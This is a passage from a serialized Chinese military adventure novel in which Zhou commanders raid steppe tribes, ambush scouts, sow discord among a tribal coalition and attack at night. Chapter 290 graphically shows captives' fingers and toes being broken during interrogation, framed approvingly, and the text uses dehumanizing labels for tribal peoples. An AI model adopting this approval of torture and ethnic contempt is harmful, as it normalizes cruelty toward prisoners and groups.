秦猛站在一处高坡上,望着下方绵延的车队、蠕动的畜群和井然有序的俘虏队伍连夜出营。
他对身边的赵平道:“赵大哥,这只是开始。经此一役,各部落风声鹤唳,北疆,该变天了。”
赵平望着远方黑暗的草原,目光深邃:“是啊,变天了。只是不知,有多少部落会来。”
他们已得知斥候汇报,黑狼部落附近有游骑出没。表面的平静之下,是暗流涌动。周边的部落人人自危,更大的风暴,或许正在酝酿。
但此刻,飞虎卫携大胜之威,又有**锏,拥有前所未有的底气来应付这些草原上的鬣狗!
第289章 归途织网,雪原猎影
秦猛从来不认为自己高尚,他来袭击黑狼部落,就是为了掠夺部落的牛羊牲口来壮大自身。
为此,他从去年就开始谋划,派人时刻盯着,出兵攻打时,千多人的运输队伍随着大军而来!
裹挟战利品转移,也是事先安排!
铁血军寨的辅兵经常接收战利品,熟能生巧。分工明确,如工蚁般将各种物资有条不紊地装车。俘虏中的青壮年被挑出,在友好的劝说下,负责最繁重的驾车和驱赶牲畜的工作。
秦猛为了获得战利品,谁又不是呢?
赵起将军的深谋远虑在此刻彰显无遗。他来时途中建立的临时营寨并非随意之举,而是精心设计的“中转站”。
这些营寨留有少量守军和充足的基础设施,此刻成了返程队伍最安全的歇脚点和补给点。
从黑狼部落旧址到双涡堡,这条生命线被分段激活。
首拨于统计完俘虏和牲口的当日午后,由韩勇率领五百辅兵队,王铁山率千余精锐骑兵护送。
这支队伍主要是装载最贵重物资的车队和部分驾车的青壮俘虏,率先起程,踏上归途。
随后两日,第二、三拨,李山、周扬、李雄、王魁等将领分别率领,每次出动上千骑兵,核心任务是驱赶数以万计的羊群和剩余的俘虏。
扫尾与断后:赵起亲率两千精锐,以及秦猛麾下最精锐的千余骑兵,作为最后的力量留守空营。
他们不仅是要带走最后一批物资,更是要震慑四方,为前方的转移队伍赢得时间。
就在周军如同精密钟表般运作时,草原上的复仇力量也在蒲察部的疯狂游说下,开始**。
蒲察部大酋长蒲察蒙托的信使,带着对周军“残暴”的控诉和唇亡齿寒的警示,奔走在各部落之间。
女真秃鹫部、黑鹰部,狼戎族青狼部、白鹿部,甚至更远一些的部落都收到了联合出兵的提议。
尽管各部落间仍有龌龊,但周军带来的压迫感是如此真实。黑狼部被覆灭的下场近在眼前,蒲察部狩猎队的血案更是加剧了恐慌。
在此刻不集结起来,很有可能被周军各个击破。
于是,一种默契在草原上形成。
各部纷纷加强了戒备,同时或属于观望阶段,或秘密调动人手,向约定的集结地点靠拢。
虽然联军的人数、指挥权、如何协调作战等问题依旧棘手,但一支强大、带着复仇和驱逐意味的队伍气势汹汹地向黑狼部落原驻地杀来。
可惜却来晚了一步!
他们低估了周**移战利品的速度,快得难以想象。
无数探马像幽灵一样在黑狼部落附近徘徊,联军主力未至,但双方的哨探战争已经惨烈爆发。
联军派出的游骑,确实是草原上百里挑一的精英。
他们像熟悉自己的掌纹一样熟悉这片草原,能通过风中微弱的气味判断远处是否有大队人马,能通过雪地上几乎不可辨的痕迹追踪猎物数日。
他们是部落的眼睛和耳朵,是骄傲的猎人。然而,猎人这次遇到的,是更狡猾、更专业的“猎手”。
……
夜色如墨。
风雪虽小,但寒意刺骨。
五名蒲察部哨骑,如同雪地里的孤狼,悄无声息地滑过草原。
领头的小队长图蛮眼神锐利如鹰,他抬手示意队伍停下。
侧前方那片雪坡太过突兀,凸起的有些刻意。
空气中,一丝被严寒压抑的人体生机,若有若无。
图蛮的直觉在尖叫,这里有问题。
他打了个手势,四人散开,缓缓拔出弯刀,呈扇形向雪坡包抄。
最右侧骑士的马蹄,刚要踏上雪坡边缘。
“噗!”一声轻微的闷响炸开。
雪地中,一道瘦小的白色身影如鬼魅般弹射而起,是飞天卫队长石地虎!
他手中乌光闪过,精准划过战马前腿肌腱。
战马凄厉悲鸣,轰然跪倒。
马背上的骑士顺势滚落,还未站稳。石地虎已如附骨之蛆贴上来,手中双短刀直取咽喉与心窝。
骑士挥刀格挡,刀锋相交溅起火星。
但石地虎更快,身影一矮,如泥鳅滑过刀锋,短刃已在其肋下软肉捅入,顺势划破心脏。
几乎同时,雪坡各处爆开雪浪,飞天卫斥候暴起。
石地虎解决完对手,竟如大鸟般凌空扑向图蛮,双刃直取天灵盖。
快,太快了!图蛮吓得魂飞魄散。
他慌忙举刀硬架,“铛!”巨力传来,虎口崩裂,弯刀险些脱手。
石地虎借力空翻落于马后,短刃从他后心刺入。
战斗不过二三十息,五名蒲察哨骑全军覆没。
石地虎检查短刃,指挥斥候把尸体拖入雪坑,清理痕迹。
动作麻利,悄无声息。
转瞬,他便带队消失在雪夜中,仿佛从未出现。
与此同时,黑狼部落附近河口,冰面泛着冷光,飞天卫教官、军官陈石,率三名斥候伏于冰堆后。
他如一块嵌在雪原的石头,冷静得没有波澜。
远处,五名秃鹫部哨骑沿河口摸来,马蹄踏碎薄冰。
“目标两人一组,先断首尾。”陈石声音压得极低。
待哨骑行至河口窄处,他突然抬手:
“射!”
两支**箭如幽冥之叹,从冰堆后射出。
速度远超角弓,精准得可怕。一支穿透为首骑士咽喉,另一支射穿队尾骑士皮甲,扎入胸膛。
中间三名哨骑惊怒拔刀,要策马突围。
陈石已换**上箭,又是一箭射出,正中左侧骑士心口。
剩余两人挥刀冲来,陈石弃**,抽刀迎上。
侧身避开弯刀,刀锋顺势抽向马脖子,战马痛嘶人立。
骑士摔落瞬间,陈石的刀已架在其脖颈猛力一拉。
最后一名哨骑劈来,陈石格挡同时,手肘撞向其面门。
趁对方眩晕,刀光闪过,一颗头颅滚落冰面。
战斗不过
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二十息,五名哨骑全灭。
陈石默默给**机上弦,指挥斥候清理冰面血迹,将尸体拖入冰窟窿。
他擦去脸上血迹,与斥候对视点头。
随即隐入夜色,河口恢复寂静,仿佛从无人来过。
另一处开阔雪谷,气氛与潜伏之地截然不同,这里没有诡谲蛰伏,只有铁拳与刀锋的硬碰硬。
赵三带领的周军斥候小队,正与狼戎青狼部的游骑队狭路相逢。
狼戎以悍勇闻名草原,见周军仅五人,当即发出嗜血嚎叫,策马直冲!
马背上的狼戎人张弓搭箭,箭矢尖啸着掠向队列。
“举盾!御!”赵三吼声如钟。他身形魁梧似铁塔,左手擎着圆盾,右手却空着,只五指箕张,掌面在火把下泛着练过铁砂掌的暗沉光泽。
几个斥候闻声举盾!
“哆哆”声中,箭矢大多被挡。后排强**随即还击,势大力沉的**箭穿透甲胄,两名冲在最前的青狼骑士应声**。
“拔刀!锥形阵,冲!”赵三从马鞍上拽出一根铁棍,一马当先撞入敌阵。对面弯刀劈来,他不闪不避,盾牌横拦,“铛”地架开兵刃,同时铁棍狠狠甩出,结结实实砸在对方战马脖颈!
“嘭!”闷响过后,草原马哀鸣倒地,骑士被甩飞出去。
赵三旋身拧腰,铁棍横扫,砸中另一骑士腰腹,趁其**瞬间,又是一圆盾狠狠拍在胸口,那骑士胸骨塌陷,口喷鲜血,倒飞丈远。
有狼戎人从侧后方偷袭,赵三听得风声,回身铁棍斜挑,逼开弯刀,左手盾牌快如闪电,直拍其肩胛骨!“咔嚓”脆响,那人惨叫着瘫倒。
赵将军亲卫队高手岂是泛泛之辈?
周军斥候两人一组,刀盾格挡、长刀劈砍,配合无间。
青狼部的单打勇武,在纪律严明的战阵前不堪一击。
片刻后,十名狼戎勇士尽数殒命,雪谷中血腥味弥漫。
赵三甩去盾牌上的血渍,又用铁棍拨弄两下狼戎尸体,面色如常。清点队伍,仅一名士兵手臂被弯刀划伤。
“清理痕迹,继续巡逻,清理杂鱼。”他声音沉稳,仿佛刚不是经历血战,只是扫了片积雪。
综上伺候间的交锋只是个缩影。
它同时发生在黑狼部落驻地几个方向的雪原之上。周军斥候凶猛,各部落哨骑非死即被抓。
接连不断的有去无回,让联军派出的游骑们彻底胆寒。
他们不再是猎人,反而成了被猎杀的对象。
周军斥候展现出的那种冷酷、高效、以及超越个人勇武的战术配合,给他们带来了巨大的心理冲击。
许多部落里声名赫赫的勇士,就这样无声无息地消失在了茫茫雪原之上,连个浪花都没激起。
黑狼部落旧址,附近一处山坳。
秦猛带队驻扎在此,与赵平所部,互为犄角。惨叫声在中军帐内回荡,牛五和**这两个悍将,正用最直接残酷的方式撬开俘虏的嘴。
第290章 酷刑震敌定良策
中军大帐内,牛油火把噼啪作响,跳动的火光将人影拉长,扭曲地投在帐壁上,营造出一种森然可怖的氛围。
空气中弥漫着汗味、血腥味,以及一种名为恐惧的气息。
军帐中央,两名被剥去外甲、只穿单薄内衬的**游骑被强行按跪在地。
他们都是从十几个俘虏中挑选出来的,体格魁梧,面相凶悍,是俘虏中看起来最硬气的那种。
牛五和**这两个煞神癖好独特,就喜欢硬骨头,如同屠夫审视牲口一般站在他们面前。
牛五咧嘴一笑,露出森白牙齿,对旁边一名通译军卒努了努嘴。
“说!”通译用生硬但清晰的女真话低喝道,“你们来了多少人?是哪几个部落?首领是谁?”
跪在最左边的女真汉子猛地抬起头,啐出一口带血的唾沫,用不流利的周话骂道。
“周狗!杂碎休想……啊——!”
他话音未落,**已经冲上前,闪电般出手。
他没有用刀,而是如同铁钳般的大手一把攥住了那汉子的右手食指,猛地向后一掰!
“咔嚓!”
一声清脆得令人牙酸的骨裂声骤然响起,压过了火把的燃烧声。
那狼戎汉子剩下的咒骂瞬间化为一声凄厉到变调的惨嚎,整张脸因剧痛而扭曲,冷汗涔涔而下。
通译军卒面无表情,如同复读机般再次冷声问道:“说,来了多少人?几个部落?有哪些?”
“周狗!你…你们不得好死!”女真俘虏疼得脸庞扭曲,浑身抽搐不停,却梗着脖子狂吼。
他剧烈挣扎着,被军卒按倒在地,仍嘶吼不止:“酋长大人定会为我报仇,将你们挫骨扬灰!”,
“哼,敬酒不吃吃罚酒。”旁边的牛五已经不耐烦了,他手法更狠,直接抓住那女真俘虏的左手小指,不是掰,而是像是拧麻花一样狠狠一扭!
“咯嘣……噗!”
似乎是骨头断裂又挤碎的声音,伴随着俘虏杀猪般的尖叫,那根手指已经以一个诡异的角度软塌塌地垂了下来。
“说不说?”牛五声如洪钟,震得人耳膜发麻。
边上,还围着一圈七八个被绑住双手的**俘虏,他们被如狼似虎的军士揪着发辫往上提,用指头扯开闭上的眼皮,强迫着抬头“观摩”。
每一声骨头断裂的脆响,每一声同胞如杀猪般的哀嚎,都像重锤敲击在他们的心脏上。
这些草原上悍勇的骑士,此刻面色惨白如纸,身体不受控制地颤抖,有人双股战战甚至牙齿咯咯打颤,眼神里充满了最原始的恐惧。
他们不怕战死沙场,但这种毫无尊严、缓慢而残酷的折磨,正在迅速摧毁他们的意志。
“哼,怕了?现在晚了!”王善嗤之以鼻地冷笑。
“你们怕被这般折磨,没有尊严的死去,难道我大周百姓就心甘情愿把脑袋伸出来任你们**?
**者人恒杀之!有好人坏人不假,但你们这种**要怎么去改变呢?只有杀到胆寒为止。你们最好老实交代,不然有你们好果子吃。”
王善在训斥着俘虏,配合着审讯。
而牛五和**更加来劲了,不说,就掰断其手指。
十根手指,在一连串令人头皮发麻的“咔嚓”声和惨叫声中,被一根根硬生生掰断、拧断。
那个最先硬气的女真汉子已经痛得晕死过去,又被一盆冰水泼醒,看着自己如同怪异树枝般扭曲的双手,满眼恐惧,发出绝望的呜咽。
手指完了,轮到脚趾。
牛五和**如同最冷酷的工匠,开始对目标的脚趾下手。
当第一个女真俘虏的大脚趾被**靴底踩住,然后,他用一种缓慢而坚决的力量向后掰折时,那种混合着骨骼摩擦和软组织撕裂的声音,让旁边观看的俘虏中,终于有人崩溃了。
“啊——”尖叫声先后响彻。
一股腥臊味弥漫开来,一个年轻的狼戎俘虏裤裆迅速湿润,黄色的液体顺着裤腿流下。
他整个人瘫软在地,涕泪横流,用母语疯狂地哭喊着:“我说,我什么都说!饶了我!饶了我啊!”
“拖走审!”王善眼皮都没抬一下,只是冷冷地摆手。
两名军士立刻将那个彻底崩溃的俘虏像拖死狗一样拽出了大帐。
帐内的酷刑并未停止,但重点已经转移。
很快,另外两个精神濒临崩溃的俘虏也被单独带离。
进行甄别审讯,他们如竹筒倒豆子般,有问必答。要比赵平那边要快上许多,当赵将军带队赶来,赵平才送来部分消息,两者相互印证。
想要的信息已经审慎出来在整理
大帐内暂时恢复了寂静,只剩下火把的燃烧声、粗重的喘息,以及几个受刑俘虏压抑的呻吟。
赵起坐在主位上,眼神冰冷。
赵平、严风、吴斌、张富贵、鲁真、林怒等将领就更不用说了,人人面色冷硬,眼神如刀。
他们或许心中有点波澜,但却明白,对敌人的冷酷,就是对自己弟兄的不负责这个道理。
在场没有人会对这些双手沾满边民鲜血,把汉人当为两脚羊的**哨探产生丝毫怜悯。
不过半刻钟的功夫,阮大快步进帐,单膝跪地,声音沉稳地汇报:
“禀将军!已分别审讯,口供基本吻合。草原各部落集结组成联军,约有八千之众,来自六个部落,主要
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是女真蒲察部、秃鹫部、黑鹰部,狼戎青狼部、白鹿部,还有南室韦的山神部。”
“其中女真三部占了主力,约六千骑。此次是蒲察部酋长蒲察蒙托因其狩猎队被歼,怀恨在心,四处串联,意图联合各部落逼我退兵,并扬言,要让我大周军队不敢再踏足草原一步。”
“不敢再踏足草原一步?哼!”赵起将军冷哼一声,眼中杀机毕露:“这蒲察部狂妄,找死!”
“**!来得正好!老子正嫌功劳不够呢!”脾气火爆的张富贵一拳捶在面前的小几上。
“各部落联军?呸!”鲁真狞笑道:“不过是八千乌合之众,也敢来捋虎须?让他们有来无回!”
赵平、严风廉吴斌三个正将虽未破口大骂,但脸上也尽是肃杀之气,显然被**的嚣张激怒。
赵起目光转向一直冷静观察、沉思不语的秦猛:“秦猛,**势众,来势汹汹,你有何看法?”
秦猛上前一步,先看了一眼那些瘫在地上、如同被抽去骨头的俘虏,沉声道:“将军,敌军虽众,却非铁板一块。末将以为,当‘分化瓦解,伺机破之’。”
“哦?仔细说说,如何分化?”赵起身体微微前倾,露出了浓厚的兴趣。
帐内众将的目光也瞬间聚焦在秦猛这个年轻的将领身上。
秦猛走到悬挂的简陋草原地图前,手指点着几个部落的大致方位:“将军,各位大人,请看。
女真三部实力最强,蒲察部更是野心勃勃,此次,多半是想借我等之手削弱甚至吞并其他部落,让旁人当炮灰。我们偏不让他如愿!”
秦猛眼中闪烁着智珠在握的光芒:“用一招阳谋。联军本就是为了利而临时凑集,内部猜忌必生。
我等再佯装怯战,固守营寨。他们谁来打头阵?谁愿损耗实力?只要迟疑不前,军心必乱。届时,我军精锐趁夜突袭,打他个措手不及。”
秦猛的计划,将心理战与军事打击完美结合,直指各部落联军貌合神离这个最致命的弱点。
帐内众将先是寂静,随即纷纷露出振奋之色。赵起将军拊掌大笑:“好!好一个攻心为上!就依秦猛之计!让这些草原豺狗知道,我大周乃礼仪之邦,不仅有刀锋,更有韬略!”
秦猛这个阳谋没有详说。
赵起却从秦猛看俘虏的眼神瞬间洞察。
可赵平,严风,张富贵等将领就有点摸不着头脑。
“秦知寨,这个阳谋如何实施?”赵平问出众人心声。
秦猛顿了顿,继续道:“我们可以将这些俘虏,尤其是非蒲察部的人,挑几个伤势轻、即刻放回去。让他们给各自的酋长带三句话。”
第291章 风雪夜,离间计
风雪渐歇,陷阵营驻地。
“过来。”在呼喝声中,几名被单独带出的俘虏——来自青狼部和白鹿部,南室韦的哨探,被除去了绑缚,惴惴不安地被领进一处军帐。
帐内炭火盆驱散了寒意,更让他们惊疑不定的是,面前竟摆上了热腾腾的羊肉和浑浊却足以暖身的烈酒,甚至还有干净的皮袄放在一旁。
“吃吧,秦将军赏的。”
一名通晓部落语言的周军士卒面无表情地说道。有人抱起酒坛倒酒,丢过来布巾供他们擦拭。
俘虏们面面相觑,这阵仗不像是最后的断头饭。
帐外,隐约传来短促的号角声,密集而沉重的马蹄声,人喊马嘶,似乎有大队骑兵不断调动。
有人借着士卒掀开帐帘的机会偷偷向外瞥去,只见一队队盔明甲亮的铁骑正从营门前经过,络绎不绝,那数量远非他们之前侦察所知。
他们自然不知,这是张富贵和鲁真两员猛将正带着部下玩着“从前门进,后门出”的把戏。奉命刻意营造大军云集的假象给别人看的。
更让几个俘虏吃惊的是,他们各自的战马,也被人牵了过来,鞍鞯齐全,还有人在喂草料。
“吃!**也不当饿死鬼!”一个年长些的俘虏咬牙道,率先抓起羊肉大嚼起来。
其他人见状,也按捺不住腹中饥饿,跟着狼吞虎咽。
当他们吃饱喝足,军帐再次掀开,一身戎装的秦猛走了进来,身旁跟着一名翻译亲兵,以及一个草原青年——黑狼部落长老之孙伯恩。
贾德带着族人随军队南迁,把孙子留下来,并嘱咐黑狼部落已经战败,不可由着性子来。
伯恩此刻神情复杂,但看向秦猛的眼神中已无多少敌意,反而因为亲眷被宽恕带着一丝顺从。
秦猛示意众人不必紧张,他先指了指伯恩,通过翻译平静开口:“这位,是黑狼部落长老的孙子,伯恩。
黑狼部屡犯我边关,罪责难逃,但我大周军队此行,只为讨债,并非要与所有草原部落为敌。
伯恩的家族已表示悔过,故我军也给予宽待。特允黑狼部众入我大周境内,学习农耕、酿酒、纺织,以后也好跟草原各部落贸易往来。”
“啊……”随着通译军卒转述,几个俘虏瞠目结舌。
接着,秦猛目光扫过他们,微微一笑,语气诚恳:“今日,秦某请诸位来,并非为难你们。
只是希望你们吃饱穿暖了,带上你们的马匹和行囊,替我给你们各部族的头人带几句话。不要误会我军意图,也不要被女**当枪使……”
说话间,秦猛竟从怀中取出几块大银锭和几件做工精巧的金银饰品,分给几人作为带话酬劳。
他又让翻译清晰转述自己的意思,核心内容是:周军只找黑狼部报仇,女**才是挑衅者和想让大家当炮灰的元凶,劝青狼等部袖手旁观或撤离,并可趁机图谋女**的草场等。
交代完后,秦猛便挥手让他们离开。
俘虏们晕乎乎地被送出周军营寨,骑上自己的马,怀揣金银首饰,摸着完好无损的行囊。
他们回头望了望几座灯火通明的周军大营,心中五味杂陈,旋即各自打马,奔向联军方向。
在这几名被释放的俘虏中,青狼部落的阿布年纪最轻,刚满十八岁。他骑在马上,冒着渐渐变小的风雪,连夜往部落联军驻地方向赶路。
怀里的银锭、金银首饰沉甸甸的,指尖冰凉的触感不断提醒他,刚才的经历并非梦境。
冷风一吹,酒意稍散,阿布的思绪却翻腾起来。
他想起自己被俘时的绝望,以为必死无疑,家中年迈的祖父母、瘸腿的父亲、操劳的母亲、还未成年的弟弟妹妹们将会何等的悲伤。
那五头牛、三匹马和百多头羊,将是他们活下去的唯一依靠,失去自己这个劳力,日子会更艰难。
“可是……汉人将军不仅没杀我,还让我吃了有生以来最饱的一顿肉,喝了甘甜、暖身的酒,归还了马匹,甚至……还给了这么多钱财。”
阿布摸了摸胸口,那银饰的价值,足够他家舒舒服服过上两三年,或者给父亲买些好药,给明年冬季,满十五岁的妹妹置办像样的嫁妆。
“他们说的……好像有道理。”阿布回忆着秦猛的话,“黑狼部确实常去南边抢掠,惹来了祸事。
蒲察部的人……也确实霸道,常常越过界偷挖白参,上次还在边界山林抢了我们部落的猎物。”
他想到联军驻地那松散的样子,女**趾高气扬,让他们这些小部落的人在前面探路、吃风喝雪。“炮灰……也许我们真的就是炮灰。”
一种被利用的愤懑和劫后余生的庆幸交织在一起。
他对周军,对那个叫秦猛的年轻将军,实在恨不起来。反而,一种基于最朴素生存逻辑的好感油然而生:
谁对他好,谁给他活路。
阿布心里就跟谁近一些。
至于头人们争夺的草场、部落间的仇杀,似乎都离他这个只想让家人吃饱饭的小人物很遥远。
阿布快马加鞭,顶着零星风雪,连夜赶回了联军驻地。联军八千余人,驻扎在一处背风的山坡下。
但各部泾渭分明,女真三部的营地连在一起,规模最大,而青狼、白鹿、山神部的营地则分散在外围,毡房绵延数里,却显得松散无序,巡哨的
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士兵也多是各行其是,缺乏统一调度。
“卡扎特酋长就不应该答应这女**的出兵提议。”阿布看着这看似庞大、实则一盘散沙的联军驻地,不禁在心里嘟囔,更加认可秦猛的话。
他们就是被女**拉过来当炮灰的!
一群乌合之众,这是阿布此刻最真实的感受。他急忙赶回青狼部落的营地,求见头人卡隆。
……
“一,我朝天兵至此,只为报黑狼部屡犯边关之仇,冤有头债有主,不会牵扯到无辜部落。且大周擅长刀耕火种,对草原完全没有兴趣。
二,蒲察部狩猎队越界,进入黑狼部落地盘,发现我军行军痕迹竟想抢夺战马,挑衅在先,自取灭亡。
三,女真部落此番举动居心叵测,是想拉诸位当炮灰,消耗你们的力量,以便日后吞并。
若青狼、白鹿、山神等部愿袖手旁观,或连夜撤兵,我大军过后,黑狼部落的牧场归你们。
甚至……待蒲察部等女真部落在此战中实力受损后,他们的地盘、草场,诸位可以自行商议取之,我军可默许,并且彼此可以开展贸易,可提供些许资助,由此次‘有功’的部落占据。”
青狼部驻地,在头人的大帐内,阿布将经历原原本本禀报,尤其重点转述了秦猛的三句话。
酒劲和激动之下,他甚至补充了自己的观察:“卡隆把阿秃儿(头人尊称)!周军虎贲军兵强马壮,军纪严明。我看到他们一个营地就有数千铁甲,这样的营地好像还有好几座!
女**越来越霸道,跑到别人地盘抢东西是常事,周军将领说的恐怕不假。他们就是想让我们去送死,好吞并我部落的草场和人口!”
卡隆目光锐利地盯着阿布:“你小子,这些话是汉人教你说的吧?”
阿布被看得脖子一缩,但还是鼓起勇气承认:“是……但他们说得有道理啊!我看到黑狼部落长老之孙伯恩,对周军没有多大的仇恨。
他们放了我们,还请我们吃肉喝酒,说不牵连无辜。马上就要撤兵了,让我们别自己往上撞……”
“闭嘴!”卡隆低声喝斥,很想给他几个嘴巴子让他醒醒脑子,但扬起的手,又放了下来。
他盯着帐外沉沉的夜色,心中波澜起伏。周军展现出的实力和“诚意”,与女**颐指气使的态度形成鲜明对比,尤其是获得支持,“瓜分女真草场”的提议,更是极具诱惑力。
他挥挥手让阿布退下好生歇息,独自沉思起来。
几乎同时,白鹿部和山神部被抓的哨探顺利返回驻地,各自头人也收到了类似的消息和“礼物”,心头已经动摇,同样陷入纠结之中。
第292章 阳谋破盟,雷霆夜袭
青狼部驻地,中央最大的毡房内,氏族头人卡隆独自坐在帐中,手指无意识地敲击着桌面。
秦猛的计策奏效,那一番言论和年轻族人阿布带着惧意却坚定的眼神在他脑中反复回旋。
虎贲军展现出的实力、释放哨骑的“善意”,尤其是那句“默许并支持有功者占据女真草场”。
这像一把钥匙,打开了他心中对女**积压已久的不满。
亲卫压低声音入帐,“卡隆大人,白鹿部的苏合头人和南室韦的莫日根悄悄来了,请求一见。”
卡隆精神一振:“快请!”
他知道,周军放了除女真族外的俘虏,另外两位必然也收到了消息,此刻前来,心意已不言自明。
很快,白鹿、南室韦部两位头人被引入帐中。三人围坐在火塘旁,脸色被火光照得明暗不定。
苏合性格较为直率,率先开口,声音带着压抑的怒气:“卡隆兄弟,莫日根头人,消息你们都收到了吧?
哼!女**素来蛮横,他蒲察蒙托,这次串联我们出兵,说的比唱的还好听,什么共抗周军,共享草场!结果呢?”
他重重一哼:“让我们三部顶在最外围替他女**挡枪,这分明是拿我们当炮灰,可恨至极!”
莫日根捋着短须,眼神冷静中透着一丝讥诮,接口道:“苏合头人说得不错。
你看他们女真三部的营地,牢牢占着中间最暖和、最安全的位置,把我们像篱笆一样摆在外面。
周军若至,首当其冲的是我们。
他们嘴上说得好听,什么战利品平分,只怕到时候,是用我们儿郎的尸骨去填他们的仓库。
我们的儿郎,哪个不是父母辛苦养大,哪个不是部落根本?怎能白白为女**的野心送死?”
卡隆见二人态度明确,便不再犹豫,沉声道:“两位兄弟所言,正是我所想。
周军势大,哨探亲眼所见,他们明确表示只找黑狼部报仇,冤有头债有主。如今更许下承诺,只要我们不动,甚至……事后还可图谋女**的草场。
这蒲察部近年来扩张最快,吞并了多少小部落?秃鹫部、黑鹰部也是横行霸道,抢掠我们的猎物,侵占我们的水源,何曾把我们放在眼里?”
苏合恨恨地点头:“没错!去年秋天,我部落的几个年轻人在边界猎到一头熊,就被秃鹫部的人硬生生抢走,还打**我们的人,这笔账还没算!”
莫日根也冷声道:“女**贪婪成性,此次若让他们借周军之手,削弱了我等。
下一步,恐怕就是得寸进尺,要逐个吞并我们部落了。周军此计,是阳谋,却也是给我们指了条明路。”
卡隆最终拍板,眼中闪过决绝:“女**不仁,休怪我等不义!传令下去,悄悄拔营返回部落!
趁现在周军主力还在,女**无暇他顾,我们立刻就走!”
苏合和莫日根对视一眼,都看到了对方眼中的坚定。
苏合问道:“卡隆兄弟,若是此次女**损失惨重,怪罪我等,日后秋后算账,又当如何?”
卡隆狞笑一声:“怕什么?周军摆明了要狠狠教训他们,八千联军已去其三,女真三部独木难支。
此战过后,他们部落实力被削弱,只要我们三部今后紧密联合,互相呼应,难道还怕他女**的报复?”
莫日根补充道:“正是!甚至我们可以暗中与周军保持一丝联系,若能得些兵器援助,更是如虎添翼。女**经此一败,草原格局就要变了!”
“好!正有此意!”苏合重重一拳捶在手心。
“就这么办!”
计议已定,三位头人立刻悄然返回各自营地。
于是,就在女真哨兵们因以为有外围三个部落“挡枪”而高枕无忧,逐渐松懈、大意的下半夜。
青狼、白鹿、山神三部人马,借着风雪和夜色的完美掩护。人衔枚,马裹蹄,悄然拆卸营地,如同潮水般迅速而安静地撤离了驻地。
为了迷惑女**,他们甚至在最外围刻意留下了十几座空毡房和些许将熄未熄的篝火余烬。
从远处看,营地轮廓依旧。
然而,核心区域已然空空如也,只剩一片狼藉。
青狼,白鹿,山神三部,瞒过了女**的耳目。却没有发现就在附近几双眼睛注视着这一幕。
就在这三部人马抛弃联军消融于风雪后不久,一道人影悄然从雪地里窜出,飞奔原路折返。
不是别人,正是秦猛派出的飞天卫。
早在几个**哨骑吃好喝好走后,就一直尾随。不仅看到部落联军驻地,也悄然摸近侦查。
青狼等部落的行动隐秘却逃不过他们的眼睛。
几道比夜色更沉、比风雪更轻的身影,已如附骨之疽,悄无声息地靠近女真营地并潜入。
为首的,正是飞天卫正副队长石地虎和陆晓飞。
他们皆是追踪潜行的行家,此刻如同雪地的幽灵,利用地形和风声完美掩盖了自身的踪迹。
以中心较大张房为坐标,他们各自负责一区域,在女真营地悄无声息,迅速把地形记下来。
不多时,就借着夜色的掩护陆续撤离,互相叙述。确认无埋伏,女真部
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驻地的地形大致摸清。
石地虎看向陆晓飞,“晓飞,你脚程快,立刻返回大营,将此处地形,一字不差地禀报秦大人和赵将军!我留在此处,盯死他们!”
“明白!”陆晓飞毫不拖沓,身形一缩,便如狸猫般隐入风雪夜色之中,朝着来路疾驰而去。
……
周军大营,中军帐内,灯火通明。
赵起和秦猛并未安寝,显然一直在等待消息。
当飞天卫带着一身寒气闯入,将观察和判断清晰禀报后,赵起眼中精光一闪,猛地一拍案桌。
“好!空营留疑阵,果然如此!”他看向秦猛,“秦猛,你的奇谋见效了!我敢断定三部落巴不得我等打起来,此刻女真部毫无防范,正是天赐良机!”
秦猛面色沉静,但却冷静:“将军,机不可失!无论那三部是真是假,我军突袭计划不变。
若他们是在观望阶段,正好敲山震虎,逼其置身事外;若已走,则直捣黄龙,毕其功于一役!”
“正合我意!”赵起霍然起身,杀气凛然,“传令!飞虎卫精锐即刻集结,人衔枚,马裹蹄。本将要亲自带队,痛击这群不知天高地厚的女真**!”
军令如山,沉睡的军营瞬间苏醒。
没有喧哗,没有灯火,只有甲叶摩擦的低沉声响和马蹄包裹厚布后沉闷的踏地声。
三千多飞虎卫精锐,如同暗夜中流淌的钢铁洪流,在赵起的亲自率领下,扑向女真联军驻地。
子夜刚过,黎明前最深邃的黑暗笼罩着草原。女真部落联军的营盘沉寂在疲惫的睡梦中。
仅有的几点哨火在寒风中明灭,哨兵们也抱着兵器,倚着栅栏打盹。他们绝未料到青狼等三个部落记恨他们的蛮横,竟悄然拔营撤离。
死亡,已如幽灵般迫近。
石地虎、陆晓飞等斥候如同暗夜中的狸猫,悄无声息地拔掉了外围松懈的暗哨,为大军打开了通道。
三千飞虎卫精锐,人衔枚,马裹蹄,如同暗潮般涌至营盘边缘。
赵起驻马高坡,目光如鹰隼般扫过眼前连绵的毡房。年轻时,他便是虎贲军中以勇猛冲阵闻名的悍将,如今虽为统军大将,血仍未冷。
他深吸一口冰凉的空气,手中长刀猛然前指!
“击鼓!进军!”
“杀菌杀**!”没有震天的战鼓,取而代之的是三千铁骑同时爆发出的震耳欲聋的喊杀声,以及“隆隆”如同雷鸣般骤然响起的马蹄声!
三路骑兵之雷霆之势,如同三柄烧红的尖刀,从不同方向狠狠捅入了毫无防备的女真营盘!
第293章 三路破阵,火噬联营
“杀——!踏平敌营!”
“冲啊!为大周边民报仇雪恨!”
“敢把汉人当奴隶?给我杀光他们!”
女**凶残野蛮是不争的事实,将士歇斯底里地吼着,喊杀声,怒吼声瞬间撕裂了夜的宁静!
左路秃鹫部落,由赵起亲自率领,张富贵为先锋,严风,袁飞率本部,如一把铁梳沿着俘虏交代的安全路径直插腹地,逢帐便烧,遇人便砍,目标明确——分割瓦解敌营建制。
右路黑鹰部,赵平,吴斌两将带兵突入其中。徐强领队相助,以这三员顶尖猛将为箭头。横冲直撞,直奔**安置马匹的各个马厩。
中路蒲察部的实力最为强悍,此次至少出动了三千儿郎。但却是秦猛领本部强兵猛将冲杀。
身后,王善,**,牛五,鲁真,林怒,李明等一票猛将紧随其后,各自带队扇形推进。
早有石地虎,陆晓飞等人提前侦查,各将已通过俘虏摸清了营盘布局和陷阱位置,如洪水般撞过栅栏墙,冲锋快准狠,路径刁钻狠辣。
战斗一开始,便直接进入白热化!
周军骑兵并不急于立刻近身缠斗,而是严格执行战术。
前排骑兵风驰电掣般掠过,将一个个点燃的**奋力掷向最近的毡房作为密集的区域。
“噼里啪啦!”火焰腾起老高,一股股火浪席卷。火油四溅,遇物即燃。
顷刻间,无数火头窜起,浓烟滚滚,将许多刚从睡梦中惊醒、衣衫不整冲出营房的女真兵卒吞噬。
更令人心悸的是,队伍中臂力超群的掷雷手,将秦猛带过来,提前分发至各队的竹筒雷,狠狠甩向那些因队长喝斥**起来的人群。
